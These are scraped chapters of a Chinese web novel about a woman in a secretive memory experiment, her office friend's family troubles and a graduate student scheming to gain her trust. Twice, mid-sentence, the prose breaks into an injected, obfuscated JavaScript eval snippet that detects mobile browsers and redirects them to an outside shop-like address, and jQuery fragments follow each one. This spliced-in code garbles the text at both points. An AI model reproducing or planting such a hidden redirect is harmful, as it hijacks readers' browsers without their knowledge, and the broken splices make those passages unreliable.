“第二次是我生日,他买了蛋糕和礼物到我家门口,说一定要见到我。我不肯见他,却躲在房间里哭,一直等到他离开了,才开门去拆礼物。结果我拆礼物的时候,看到了他留下的表白卡片,又哭了。然后他就突然冒出来表白,说他爱我,我也爱他,让我和他在一起。还说,说要是我顾及周浮沉的感受,他,他......可以不声张,晚点公开也行。” 这一段话,又是结巴,又是吸气,说话的人有多忐忑,不言而喻。 “第三次就是在病房了,我醒来后,被告知是因为登革热而发高烧昏倒。他很担心,在一旁照顾我,还说绝对不能失去我,然后还亲了我的手心。我,呃,就我个人觉得,我们应该是在一起了。” 紧接着,是宋言林爽朗的笑声,说这真是个有趣的故事。 什么意思?!他那希望他尽早成家立业的父亲是疯了吗?编排他儿子夺人所爱的故事都能点评为有趣。 宋挚握着护栏的手越收越紧,差点因此而发出声响。 慢慢的,陷进回忆的宋挚不自觉地收紧双手,却因用力地长摁音量键,而被跳出来的语音助手吓了一跳。 他赶忙摁息屏幕,再度抬眼的时候,无意间瞄到了一张鬼脸。 只一眼,却让他心头大震。 是他想得太投入,出现幻觉了? 此时,在一旁观察宋挚的邓庆生越来越不安。 不会吧?他就随口开个玩笑而已,难不成就说中了? 可他明明记得阿挚没有女朋友,浮沉也没有女朋友,只有个见了几面的相亲对象,难道......阿挚是看上了浮沉的相亲对象? 见邓庆生的表情中透着疑惑和不安,宋挚以为舅舅是在关心他的状态,还开口安慰道:“没事的舅舅,我能调整好我的状态。” 紧接着,又生硬地转移话题,“倒是您,工作危险,平时的休息时间又少。之前我妈生病的时候,最担心的人,是您。所以我才想帮您,哪怕只是留意一下嫌疑人。” 闻言,邓庆生恰巧注意到商场大屏上播放着宣传华州市文旅的大屏广告,上边还飘扬着着一面红色旗帜。那是他的信仰,为国为民为大义。 “没办法的,阿挚。总得有人冒险,而我甘当那个冒险的人。” 蓦地,邓庆生进入机警状态。 他感受到身侧有某人投来的视线,那人的视线中似有打量,似有探究,从上到下的将他看了个遍。 可当他突然侧身,投以锐利如剑的目光,看到的却是一个神情恍然,眼角眉梢中带着些许悲伤的年轻女生。 邓庆生怀疑自己是不是捕捉错了视线,可那女生又分明是在看他,疑惑之余,转过头去,想问宋挚是否认得那女生。 可他还没开口,就看到宋挚朝那女生展露了笑颜。 18. 不会是一见钟情吧?! 晋江文学城 “你们认识?” “不会是一见钟情吧?!” “好浪漫哦~你都不知道,你们刚刚那个对视好有感觉,特别像仙侠剧里那种分别千年后再度相遇的惊鸿一瞥。” “尤其是你!”汤晴突然手指雎安,嘴巴像个机关枪似的,突突个不停,“你的眼神最有感觉,最可疑。” 此时,雎安和汤晴都已经坐下用餐。 不同的是,汤晴坏笑着调侃雎安,姿态放松。而雎安牵强地笑着,因为不想解释,又想蒙混过关,回复汤晴时的姿态很是僵硬,看着就更加可疑了。 “嘿!” 汤晴压低声音,右手用力一戳雎安端着碗的小臂。 雎安吓一跳,差点没拿稳碗。 “他们绕了一圈,结果进这家店了。” “我看看,就在我们的斜对面。故意的吧?” 汤晴实时汇报的时候,雎安连眼睛都没抬,满脑子都是宋挚和邓庆生的笑容。 因为当时完全没料到宋挚会主动和她打招呼,更别说对她笑了,慌乱之下,她蓦地扯动嘴角,朝那两人点头致意。 她肯定,她的笑肯定比哭还难看。不然,一旁的邓庆生怎么会突然笑了一下? 如果雎安不知道邓庆生是怎样的人,还不会多想,可她偏偏就是知道邓庆生是个不苟言笑的人,甚至......有点凶,没什么事的话,是不会给人笑脸的。 “你别多想啦,估计是走一圈再决定吃什么,我们不经常这样吗?”雎安用公筷夹了几块鸡肉,放进汤晴的碗里,“快吃吧,冷了以后,味道差远了。” 汤晴又往后看了两眼,“那男生是你的谁啊?不过去打声招呼吗?那中年男人也在偷瞄我这边耶~” 雎安摸摸发红的耳根,解释道:“不太熟的朋友,是最近认识的。刚刚已经打过招呼,现在就不打扰了。你也别看了。” “哦~” 那就是暧昧对象了。 汤晴一副懂了懂了的表情,识趣地收回视线,不再提宋挚和邓庆生,转而聊回公司的事,“你是打算一直待在公司吗?没想过换工作?” 换工作? 雎安一愣,因为她没考虑过这个问题,“不知道,暂时没想换工作。” “我看你最近挺焦虑的,也不像刚进公司的时候那么有干劲了,还以为你另有打算。”汤晴一边嚼着鸡块,一边说:“毕竟想在我们公司干番事业、获取成就感,几乎是不可能的。” 汤晴说得不错。 雎安刚来公司的时候,非常拼。 别说上班时间,她还想趁午休时间多做点工作,既想回复国外客户发来的邮件,又怕敲键盘的声音吵到同事,索性抱上笔记本在楼道里蹲着,一边忍受刺鼻的烟味,一边哐哐哐地接电话打字。 可后来,雎安发现自己与公司众人格格不入,即便努力做出了些成果,除了本该有的提成,其他的奖励一概没有,晋升机制也不完善,就好像......这都是以老板的心情来决定的。 雎安喝了口茶,解释道:“我焦虑的点,是担心公司倒闭,怕突然失业。” 汤晴将食物吞咽下去后,连喝了几口水,“这鸡肉过咸了。”接着又说:“放心吧,我们公司不会突然倒闭的,我很肯定。” “姐姐?” 汤晴的身后突然传出一道轻快的男声,雎安寻着声音往后看,张徐行的动作却是更快,已经走到她们桌前站定。 “你怎么来这吃饭了?” 少年的五官柔和,笑容甜美,鼻梁上架着圆框的银色眼镜,脸上还有些婴儿肥,明明是一米八的大高个,可她们仰望着他,却没有感受到丝毫压迫感。 他是张风的儿子,张徐行。 “好久没见啦~”雎安用一种面对小辈时才有的慈爱语气回复:“我在这附近工作。倒是你,今年应该是......大二吧?怎样没在学校?” “我下午没课。这新店开张,我不得来帮着看看。”张徐行笑了笑,“对了,刚刚我听这位姐姐说鸡块咸了,可以让我尝尝吗?” 汤晴被他甜美的笑容晃了眼,直说好。 雎安没意见,也点头。 张徐行这才拿起一副新筷子,夹了块带汁水的鸡肉放进嘴里,十几秒后,他皱着眉,放下筷子,“真的偏咸,估计是新厨师盐放多了。我会和后厨反馈,让他们给你们重新做一道。” “其实这个也没有很咸,还能吃,不用换了。” 不是汤晴客气,而是她和雎安都吃得很清淡,这个菜虽然偏咸,但下饭是没问题的。再者,雎安看着和这家店的老板和少东家都挺熟,她不想弄得太麻烦。 “这怎么行?”一个脸和身材都极其浑圆的中年男人三两步走到张徐行面前,拍拍他的肩,“不仅要重上,还得免单!” “张叔,别别别。”雎安知道张风这是在找借口请客,“小问题而已,要是您总不收钱,我可不敢来了。” “哎~这哪是请客?以前暑假就总麻烦你给徐行补英语,现在我的张记鸡公煲可是名菜馆了,结果一开张,你就吃了道有失水准的菜,我要是不积极处理的话,怎么好意思接着做生意?” 最后,雎安和汤晴都没拗过热情洋溢的张风,接受了新菜品+赠菜+免单的解决方法。 太热情,太吓人了。 雎安暗自咋舌,结果一抬眼,就在汤晴面上看到了类似招架不住的表情。 “对了。” 就在雎安以为张风终于要拉着儿子离开的时候,他突然对雎安竖起大拇指:“听你妈说,你现在不仅要上班,每周还要去华州大学做实验,看来是越来越有出息了。” 闻言,雎安一愣,不自觉地咬了咬牙。 她妈真是个大嘴巴,居然连张风都知道了,看来为了那点虚荣心,没少和人说她去华州大学实验的事。 这也是雎安所担心的。 她爸妈虽然不知道实验的具体内容,就算像透露,也透露不出什么有效信息,但知道的人多了,就会有越多像张风一样的人,出于好奇之类的原因来询问打探,可她并不想谈论这件事。 一是因为保密协议,担心说漏嘴。 二是她本身就注重承诺。 三是她觉得自己不过是去当小白鼠,又不是去读研,也没什么好说的。 “没有没有,不是去做实验。”雎安下意识地想回头去看宋挚,但她忍住了,敷衍地回应道:“只是去参加别人的实验,帮个忙而已。” “帮忙?”张风疑惑,“我听你妈说,你参加实验赚了不少钱。” 怎么连赚了点钱的事都说出去了? 若雎安的心脏是只团起来的 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就在这时,张徐行挺身而出,以赶紧给她们加菜为由,把张风拉走了。 雎安松了口气,紧绷的神经才松下来,就听到汤晴问她:“你在华州大学的实验是什么类型的啊?好神秘哦。” 唉~ 雎安在心里叹气,给自己喂了一大口饭,“宝贝,我得保密!” 处得来的同事朋友,毕竟是懂分寸的。 雎安不说,汤晴就换一个话题,“对了,那个张徐行笑得好甜,长得也很甜,但又是个男孩子,挺特别的。” “你说他?”雎安瞄了眼正在朝服务员阿姨投以灿烂笑容的张徐行,“你可别被他的外表给骗了,他可没表面那么纯良无害,很腹黑的。之前给他补习的时候,我差点没给他气死。” “是吗?”汤晴回头,正巧对上张徐行的大白牙,紧接着,是他弯弯的笑眼和扬起的右手。 他竟然在和偷看他的她打招呼! 汤晴脸一热,强装镇定地莞尔一笑,而后迅速回头。 接下来,汤晴变得安静不少,尤其是张徐行亲自端菜过来,问她们要不要打包盒的时候。 雎安注意到了她的变化,但并没有调侃,因为要是换做她,在不熟悉张徐行的情况下,也会是这样的反应。 没由来的,雎安想到了沈薇描述的卢宇年,说是很招人的性格,有很多姐姐为他着迷,虽然她没有亲眼见过,但有张徐行这个人在先,她是可以想象的。 但这都不是重点,重点是她一想到卢宇年,脑中就会蹦出那个她最不想回忆的画面。 一时间,她的心情跌落谷底。 雎安拿勺子搅动着碗里的饭和汤汁,眼神逐渐呆滞。 她在思考,如果非得让她杀人,什么理由会让她动手呢? 画面中的她眼神决绝,耳边有男人撕心裂肺的喊叫声,可那声音……不是卢宇年发出的痛呼声,是有另一个人在场,似乎是想阻止她,可因为什么原因无法到她的身来边,只能不停地喊叫,声音不断从耳边传来,像是,像是…… “舅舅,我来付。” 接着,传来滴一声的扫码声。 没错,就是这个声音,是宋挚! 她难道是......为他杀的人? 19. 恶人自有恶人磨 卢宇年这个人,一定对她和他做了很过分的事。 晚上回到家后,雎安将自己锁在房间,在一番理智地分析后,得出了这个结论。 虽然这听起来很像是她想把责任归到卢宇年身上,但她很清楚,这不是。 自小到大,她都是胆小且很能忍的性格,不论是父母的责骂、同事的为难、还是领导的挑刺,她都压在心里默默承受,经常是咬碎了牙,忍了就忍了。偶尔受不了了,就借着一部电影大哭一场。 至于宋挚,虽然看起来有些冷漠,还有些孤傲,但几次接触下来,雎安确信他品行不坏。 只有卢宇年,从她和他短暂的接触,以及从汤晴那得知他的女友竟然是吴珺的那刻开始,她就将他“判刑”了。 她决定,现实里要避开卢宇年和吴珺,尤其是吴珺。 正常来说,她和卢宇年不是一个社交圈的人,正常是接触不到的,除非通过吴珺。 那她就要把这条路堵死,反正她也不喜欢吴珺,一点都不想和她有接触。 可偏偏,老天就爱抓弄人。 周五上午,汤晴情绪一直很低落,神情恍惚,就连经理安排的客户都忘记了报价对接,午休前被狠狠训斥了一顿。 这在其他公司还算正常,但在他们这个佛系公司可就不一样了。因为每个人被安排的任务都不多,大家默认都必须得比自己的事情做完做好,一旦有人没做到,就会格外瞩目。 午餐时间,雎安强硬地把汤晴拉出办公室,到公司楼下吃老北京炸酱面。 “你怎么了?”雎安将第一碗面推给汤晴,“状态怎么那么差?” 汤晴扎起波浪卷长发,一声长叹后,恹恹地将酱料和蔬菜往往里倒,“我之前就想和你说来着,又觉得......是家事,不好说。但我现在觉得,再不找个人说说,我真的会疯掉。” 雎安倒酱料的动作一滞,“什么事啊?很严重吗?” 汤晴点头,又叹了口气,“据我所知,我哥家暴我嫂子很久了,最近说是公司事情多,情绪越来越不受控,前几天还失手打了我侄女。” 说着,汤晴将筷子放下,完全没有胃口,“可我觉得他就是在狡辩,肯定是看我嫂子好欺负,越来越没底线和良知,还说失手,鬼才信!” “那你嫂子和家人是什么反应?”雎安问道。 “我嫂子已经报过好几次警了,最终都是让社区的人调解,一调解就是劝和,之前我嫂嫂也协议离婚过,我哥就拿楚楚,哦,就是我侄女来当借口拒绝。至于我家人,这才是我最闹心的,我爸妈总是让我哥道歉、下跪、发誓,但态度却很模糊,整天不是劝和,就是劝我嫂子二胎,偶尔还在背地里和撞见我哥动手的邻居说,我哥之所以动手,里头有我嫂子的原因。昨天我帮嫂子说话,还被恨恨地训了。真是闹心!” 汤晴的双手交叉于胸前,鼻腔重重地呼出一口气,咬牙切齿道:“主要我嫂嫂是做自媒体的,还有不少粉丝。有次我无意间听到我哥威胁她,我嫂嫂要是再敢闹离婚,他就把她的裸照放到她的主页去,让她身败名裂。” “你哥怎么这么恶心啊?!”原本不想随意评判同事家人的雎安,这时也因气愤开了口,“我看你平时状态挺好的,也挺乐观,没想到家里也有这么多糟心事。” 汤晴连连摆手,“那是因为我在外面租了房,只是偶尔回回家,要是天天在家,我会疯掉的。” 租房? 雎安想到记忆里的那个生日,她在一个三十平的出租屋里生活,空间狭小但非常温馨。 她想,她也该搬出去住了。 “而且我和你说,我哥以前读书的时候就很不省心,我爸妈是在我哥十五岁的时候生的我,就是想要个弟弟来好好栽培,结果......”汤晴耸了耸肩,眼底除了刚才的气愤,还多了些自嘲,“我是个女孩。” 闻言,雎安迅速伸出左手,示意两人握握手,“居安思危,我原本是叫居安,只是我是女孩,就随便给我换了个字。” 汤晴嗤笑一声,伸出右手和雎安交握,“同病相怜啊。” 倾吐完心中烦闷的汤晴,情绪去的很快,肚子咕噜一叫,瞬间有了饥饿感。 恰巧烤鸭出炉,冒着热气,滴着热油,被放置在铁盘上后,由厨师推至顾客面前,动作利落地开始片鸭肉。 “我们要不要点半只来尝尝?”汤晴吃着碗里的,看着锅里的,被馋得都没看一眼已经冷掉的炸酱面,“看着好香啊~” 然而,她却没能得到回应。 此时,雎安的注意力都被厨师斜前方的一个男子给吸引,他身材高大,戴着金边眼镜,和6年前相比,看起来更加成熟稳重,也更加......斯文败类。 他就是沈薇的堂哥,沈遂行。 如果她没记错的话,沈薇曾说过,他哥有一项不得已的任务,是当卢宇年的半个老妈子...... “你去帮我打一点麻酱呗~”女生撒娇的声音响起,娇滴滴的,却不会让人反感,“我好想吃哦。” 雎安回头望去,果然是吴珺。 “你没看到我在忙吗?”卢宇年横握着手机,手指敲击着屏幕,像是在打游戏,“又不是没手没脚。” 因为尴尬,吴珺有些不满,“你刚刚不是才打完一局吗?” “没赢,算个屁结束!”卢宇年头一低,敲击屏幕的手机愈加用力,用命令式的语气道:“你去打点蒜泥给我,顺带让服务员赶紧上菜,不然就投诉他!” 卢宇年的登场方式,完美地对应了雎安对二世祖的想象。 “啧啧,我就说你看什么看得这么入神。”汤晴顺着雎安的视线看过去,反应和语气都有些夸张,“原来是戴总的儿子。噗!你别说,他怎么穿像花孔雀一样?也就他女朋友看得顺眼吧,笑死我了~” 不知是听到了声音,还是感应到有人在打量她,吴珺突然回头,目光犀利地看向雎安的方向。 雎安被她突然回头的动作吓得瞳孔一震。 换做往常,圆滑周到的吴珺必定会朝她一笑,这次她却直接无视雎安,好像什么都没看见一般,转身就往调料台去。 雎安倒无所谓,反而松了口气,转头提醒汤晴,“别看了别看了~那男生看着就不好惹,万一待会儿走过来训我们,该怎么办好?” 经由提醒,汤晴似是想到什么,压低声音道:“也是,我偷偷和你说,我哥在半个月前被一辆保时捷撞伤,下车和车主理论的时候又被打了,面部创口长度有七 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15918621|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厘米,轻微脑震荡,结果只被定为轻微伤,我爸妈不服,复议后一直去闹,结果被车主威胁不老实就要他们的命。” “那人是戴总儿子?”雎安问。 “没错。”汤晴打了个无声的响指,“我在家族群里看到一张没打码的现场图,越看越眼熟,结果发现那车是戴总的车!只不过,开车的人是那男的。” 语毕,汤晴用下巴戳了戳卢宇年的方向。 开车伤人,还扬言威胁,竟然能一点事没有的坐在这打游戏! 雎安蹙眉,“他没有受到惩罚吗?” “有钱人嘛,当时是用钱解决问题。我哥又是在他爸的公司上班,人家甩给我爸妈一笔钱,说不开除我哥就是最大的恩赐了。”汤晴一副见怪不怪的模样,“说实话,你不要觉得我阴暗,我打心里觉得,恶人自有恶人磨,我哥被教训一番也挺好。” 雎安沉默了一会儿,道:“我懂你的意思。” 突然,汤晴瞪大双眼,面露惊骇之色,“对不起雎安,我还有点事,先走了。” 她语速飞快,蓦地站起身,抬脚就往外跑。 雎安不知她看到了什么,反应竟如此之大,好奇心使然,雎安的视线跟随她的脚步,极快地来到了店门口,锁定了童敏。 时隔六年,她的脸上有了明显的凹陷,露出的手腕细如蔗根,比雎安印象中的她还要瘦。 除去刚冲到她身边汤晴,她的身边还有一个健壮的男人和一个瘦弱的女孩,那男人脸侧有一道明显的疤痕,看着有些瘆人。 雎安肯定,那就是汤尊。 只是她没想到,故事里那个被家暴的妻子居然是童敏。 门外,汤晴不知和他们说了,汤尊脸色大变,一副要冲进来打人的凶狠表情。但明眼人都能看出他是在虚张声势。明明没人拦他,他却一副被人拦着、迈不开腿的架势。 女孩一紧张,担忧地拉住汤尊的衣角,开口说了几句话。 汤尊脸色变得更加阴沉,竟当着童敏和汤晴的面掐女孩白如葱根的小臂,生生掐出一个红得发紫的印子。 紧接着,女孩哭了,童敏将她护在身后。汤晴则是突然推了汤尊一下,在汤尊踉跄之际,拉着童敏和女孩跑进了电梯,将汤尊隔绝在外。 雎安收回视线,没了再看下去的兴致。 她知道汤尊就是个花架子,刚刚他要是真想冲进来打人,怎么可能会被衣角那点阻力扯住。说到底,他就是虚张声势,真要欺负人,也是专选老弱病残下手那类的孬种。 雎安嗤笑一声,回身叫服务员来结账,却意外地和正在观察门外状况的卢宇年对上视线。 他眉头轻皱,面露疑惑。雎安呼吸一滞,心如擂鼓。 可也不过几秒,雎安很快反应过来,学着吴珺刚才的样子,好像眼前的一切都是空气,若无其事地走到柜台结账,匆匆离开。 叮叮叮,叮叮叮~ 晚上八点,雎安洗完澡后躺在床上,仍有些惊魂未定,又突然被手机提示音吓一跳。她坐起身,左手放在胸口处安抚自己,右手去摸躺在床头柜上的手机。 打扰了,请问你周六中午有空吗?我有事找你。如果方便的话,我把餐厅地址发给你。 来信人:宋挚。 20. 引诱准备 傍晚,校道之上,林荫之下,路灯发出的微弱灯光也被遮掩,雎安走在宋挚身侧,看不清他的表情。 “虽然宋言林是我父亲,但我必须得提醒你,他不是一个能够完全信任的人。那个装置有太多的谜团,之前他还说没多少把握,我担心他一心扑在实验上会忽略你的安危,甚至会对你造成不可逆转的伤害。我不想我父亲因为他的执念而伤害到无辜的人,更不希望他因此背上人命。” “所以,如果你有什么顾虑或者……想退出,可以随时找我,我会帮你。” 他不是真心的。 这个念头从脑海里蹦出来的那一刻,雎安自己都吓了一跳! 刚刚宋挚说话时淡漠的神情,眼睛里的算计和考量,雎安看得一清二楚。 这和装置里的宋挚截然不同,毕竟他真挚关切朋友和家人的眼神,对陌生人投以善意的眼神雎安都见过,都并非此刻般惺惺作态。 “好,谢谢你。”雎安识趣地顺着他的话往下说,“那……如果我考虑好了,该怎么联系你呢?” 宋挚拿出手机,让雎安报她的号码。 很快,雎安的手机响起,宋挚补充道:“微信号也是这个。” 雎安注意到他的尾号是6444,随口问道:“你一直在用这个号码吗?” 宋挚看她一眼,“初中用到现在。” “哦。”雎安低头,给这个号码备注好名字。 当时,她又紧张又害羞,心思不在这串号码上,回到家以后又不停地思考宋挚说的那句“因为你不诚实”的含义,完全忘记了这串号码的存在。 现在,突然跳出来的信息终于让她恢复了那段记忆,回想起他们在华州大学的校道上交换电话号码的场景,以及......他当时说宋言林的那番话。 说实话,雎安觉得宋挚很奇怪。 他劝她退出实验,理由是怕父亲会伤害到无辜的人,可就算她退出了,实验也不会停止,他应该劝的人是宋言林,而不是她。 但如果,这是他多次劝阻父亲失败后想出来的权宜之计,那他如此肯定实验会伤害到实验者,必定是知道些内幕,而那大概率就是宋言林不愿意告诉她的内容,会不会......和她脑中奇怪的记忆有关? 基于此,雎安编辑完信息,毫不犹豫地点击发送。 ———— 周五下午,宋挚被杜崇礼教授狠狠批评后,又被叫了家长。研究生被叫家长,多么罕见且丢脸的事,可他对此满不在乎,脑子里都是实验的事。 他到底要怎么做,才能参加实验呢? 原先,他计划是将邹雎安挤走,再由他来顶上。 可他看过实验者的备选名单,优质的备选人有太多太多,加上父亲对他近期荒废学业的行为很不满,是肯定不会让他来做实验的。 之前不会,现在不会,以后更不会。 所以,他原先的计划显然不可行。 那他现在唯有灵活变通,从邹雎安身上下手,鼓励她继续实验,让她为他传递消息。 虽然听起来离谱,但他思来想去,这是当下最有可能实现的方法。 在实验室的时候,他就听到父亲调侃过她,让她大胆地去装置弥补没有校园恋爱的遗憾,而她又因为古怪的记忆对他有诸多好奇。 他想,这是上天给他的机会。 宋挚拿出钥匙,旋开宿舍的门锁,想带上自己的笔记本电脑回家。 只是,他还未踏进宿舍,就听到黎海诺粗重的呼吸声以及不断蹦出口的dirtytalk. 这是他第三次撞到黎海诺和女友裸/聊了。 宋挚完全无法理解这种行为。 虽说黎海诺和宋挚解释过,说他是成年人,偶尔会忍不住的思念女友,而且他是在确信他不会回宿舍的情况下才这样的。 当时,宋挚沉着脸,让他以后不许在宿舍做这些,可宋挚第二次撞见黎海诺的时候,他反倒变本加厉,变得更加投入,连生了绣的铁门发出的声响都没能打断他。 至于第三次...... “咳咳......”宋挚忍着恶心,用隔壁宿舍都听得见的咳嗽声提醒床帘里的那位。 瞬时,宿舍没了声音。 宋挚走到桌前,将笔记本电脑装塞进手提包里,再把桌面一些东西都悉数带走。 他想,以后除非必要,他都不会再回宿舍了。 几十秒后,黎海诺终于探出个头来,双颊潮红,手捂着裸露的胸口处,语气中隐有责怪,“吓我一跳!你怎么来宿舍了?” 宋挚看也不看他,也没回应,砰一声,摔门离去。 从学校开车回市区的公寓不过半小时。 宋挚将车停在固定车位后,点开丰巢的信息,在楼下取了个快递,进门后将快递随手扔在桌上,直倒向客厅的沙发上。 他居住的这间公寓是父母送给他的成年礼物,虽然不过百平,不是什么豪华大别墅,但它位于市中区的嘉源新御,周围配套设施齐全,和市郊的三层别墅价格相当。 他的父母很爱他,且尽全力给予他优渥的生长环境。 这一切,宋挚都清楚。 如果不是今年情人节的那场变故,他现在必定是在循规蹈矩的上课、做实验,绝不舍得让父母再为他操半点心。 可惜,天不遂人愿...... 宋挚深深地呼出一口气,用力蹬腿后坐起身,拿起茶几上的水杯,将杯中冷水一饮而尽。 因为喝得过急,他的唇边渗出了好几滴水,可他好像毫无察觉,左手肘架在膝盖上,左手拖腮,右手仍抓着水杯,就这样陷入了沉思。 他想要通过邹雎安来探索装置内部的情况。 首先,他得先获得她的信任,而在这过程中,他必然需要提供精神和物质上的支持,不会是单方面索取。 再来,他开始挑拨离间,让她对父亲产生怀疑,再尝试进一步引导,最后是向她提要求。 而他不需要她在现实里付出什么,只要她毫无保留的将装置里发生的一切都告诉他,心甘情愿地帮他在装置里做些事情。 他觉得,这于她而言,是划算的买卖。 如果他们能达成共识,成为契合的伙伴是最好,不能的话,他就只能...... 他曾刷到过一项实验分析,说是没有恋爱经验的女生更容易在爱情里失去理智,陷入完美爱情的幻想里,从而不断给对方加滤镜,不断沦陷,不断付出。 他虽然不确定邹雎安是否谈过恋爱,但从宋言林的态度和言语猜测,她现在是单身,所以......他很可能会成功。 只是,这样真的好吗? 宋挚低头沉思,开始在心中做取舍。 目前,他已经从守不住秘密的廖学文那获得了不少关于实验的信息,里头有很多点都和父亲告诉他的有出入。 这就证明,他的父亲有事瞒着他。 装置里边到底是怎样的,又到底有没有改变过去的可能,他明里暗里打探,得到的答案都是不能,但细问之后,实验组成员的答案都是基于宋言林的理论和猜想,并没有实证。 他无法说服自己去接受父亲前后矛盾的说辞,心烦意乱地摆弄着手里的水杯。 突然间,他没控制好力度,水杯磕到了木质的桌沿,发出哒的一声。 听到声响的他回过神来,顷刻间便做出了决定。 他将杯子放回到桌面,拿起一旁的手机,毫不犹疑地在搜索栏输入检索,“如何追求女生?”。 随后,屏幕上便跳出来成千上万条帖子,他直接选择了最高赞的那个,标题为《女生真的很吃这一套!》,点开拜读。 不要太急躁,要细心,要贴心,多给她一点时间。 追求周期控制在三个月为宜。 看到这,宋挚不禁摇头,这不行,这两点都不行,他要求快,追求速度。 准备礼物,给她制造一些小惊喜和小浪漫。 这个可以,宋挚点头,将这点保存进便签条。 约女生出来时,要适度变现出强势,不能扭捏。 这点存疑吧,女生不是不喜欢男生强势吗? 宋挚好奇地点进解释,发现需要充值阅读的时候,果断付了钱。 网页跳出来的解释是:“今晚,你是想吃日餐还是泰餐?”既给了选择,规定了选择的范围,这样更容易将女生约出来。 看完后,宋挚觉得这钱花得值。 注重外表和气味。即使你不帅,也必须精心打扮,如果你容易有汗臭,那就喷香水,避免做体育运动,至少一开始不要。 宋挚点头,准备翻出早已蒙尘的香水。 暗示你对她有意思,但不要表白,采取一些行动,但不表明含义,让她在纠结和猜想中爱上你。 这……真是门学问,宋挚瘪了瘪嘴。 然而,最后一点谨记却给他泼了一盆冷水。 最后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15923344|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 各位哥们一定要记住,要摆正心态,不要自卑,不要高傲。 最重要的是,一定一定不能操之过急。本篇适合的是正经追女生的哥们,不是图谋不轨的那类人,谢谢支持! 不能操之过急? 可他偏就很急,实验对象随时可能会变,雎安能进行几次实验还是未知数,他需要尽快获得她的信任和好感。 于是,他换了一种检索方式,输入“如何快速获得客户的信任?”,依然是点进最高赞的帖子。 了解客户的背景,提前做好功课。 找到你们之间的共同话题,不要只聊工作。 表明能提供给客户的价值。 讲述引人入胜的故事,比如公司的成功案例,以增加客户对你的兴趣。 适度幽默,并展示同理心,让客户知道你在为他考虑。 这回,宋挚满意地点了点头,觉得这些建议非常可靠,他可以优先使用对待客户的方式作为攻略的首要,再用追求伴侣的方式作为第二重保障。 也就是所谓的,双重保险。 宋挚决心今晚再悟一悟这些关键点,但在那之前,他得先把人成功约出来。 “你好,请问你周六中午有空吗?” 第一次约会,站在女生的视角考虑,还是中午见面好,但他看着这行字,就是有种会被拒绝的感觉。 思考了几分钟后,他回想刚才看过的“约女生出来时,要适度变现出强势,不能扭捏”,又在短信里加了些内容: “打扰了,请问你周六中午有空吗?我有事找你。如果方便的话,我把餐厅地址发给你。” 好像还不错。 宋挚越看越满意,点击了发送。 一阵忙活完,宋挚重新躺回沙发上,时而望着天花板出神,时而偷瞄桌面上还没息屏的手机。 五分钟过去,仍然没有反应,他有些焦躁地站起身,想起玄关处还有个快递,直直走了过去。 这个包裹是他刚从楼下丰巢拿上来的,因为他最近并没有买东西,也没有收到任何人说要送礼物给他的信息,所以在拆包之前还认真核对了收件人和收件号码,确认无误后,才拿出剪刀将快递的塑封划开。 打开以后,里边是一盒防晒套组和一张卡片。 这是寄错了吧? 除了去户外暴晒,或者去高原地区旅行,他平时都不会用防晒霜。 宋挚愈加疑惑,他的生日早就过了,最近的节日只有端午节,这不太可能是端午节的礼物吧?难道这是舅舅送他的礼物?暗示他多出去走走吗? 宋挚拿起卡片,卡片上印着精美的国风水墨画,是品牌和某IP的联名。 他转动卡片,发现卡片的背面上还有一些穿着华丽古装的漫画小人,看着像是印上去的,倒没什么特别。 什么意思呢? 宋挚没有思绪,但他眉心微动,眼皮轻跳,有种不祥的预感,驱使着他动手拆开了防晒套组。 然而,他拆开后反复检查,发现里边就是一支物理防晒和一支化学防晒,没有特别的东西。 看着桌上的物件,宋挚感觉自己的脑海似被雾气遮盖环绕,什么都看不清,什么都理不顺,他越是用力地拨开迷雾,试图看清眼前的一些,反倒越是混乱。 先把垃圾清理掉吧。 宋挚沮丧地捡起包装袋,既然想不明白,索性动手做起家务来。 然而,就在他清理完包装袋,将防晒的外包装压扁并扔进垃圾桶的时候,无意间瞥见防晒霜的生产商是华州市安娜维诺化妆品有限公司,而外包装上极为显眼的“扶光”便是他旗下的高端美妆护肤品牌,主推纯净护肤,是近几年兴起的新潮国货。 但这些都还不是重点,让宋挚顿觉云开雾散的,是下方的生产商地址。 华州市高新区学正路66号。 这是一间工厂的地址,位于华州财经大学新校区那一片,而这间工厂就是他妈妈被毒害的地方。 抬眸间,宋挚想起什么,赶忙拿起那两支防晒霜,细看它们的成分表,发现里边的成分表果然都有碳酸钡。 紧接着,他拿起手机检索,确认了这个系列的联名就是经典的狸猫换太子的故事。 由此,他手里的这两支防晒霜外观设计得很像,仅凭包装上的古装小人几乎无法分辨出不同它们的不同,只能凭背后的产品介绍来区别是物理防晒还是化学防晒。 宋挚确信,他明白这个礼物的含义了。 21. 等等!请问你叫什么名字? 雎安忐忑了一晚上,结果周六早上一起床就收到宋挚的信息。 他说他临时有事,问能不能把时间改到周日中午。 她周日并没有特别的安排,快速回了个“好”字后,就收到了餐厅的定位信息。 此时,门外传来父母争吵的声音,他们具体在争辩什么,雎安早就不甚在意。 她只当什么都没听见,呆在房间里继续做自己的事,因为她知道母亲今天还要上班,到点就必须出门,这场争吵必然不会持续很久。 而她昨晚也已经提前说明,今天要去和朋友聚餐,虽然计划有变,但她还是打算出门,寻求独处的时间。 她有一个计划。 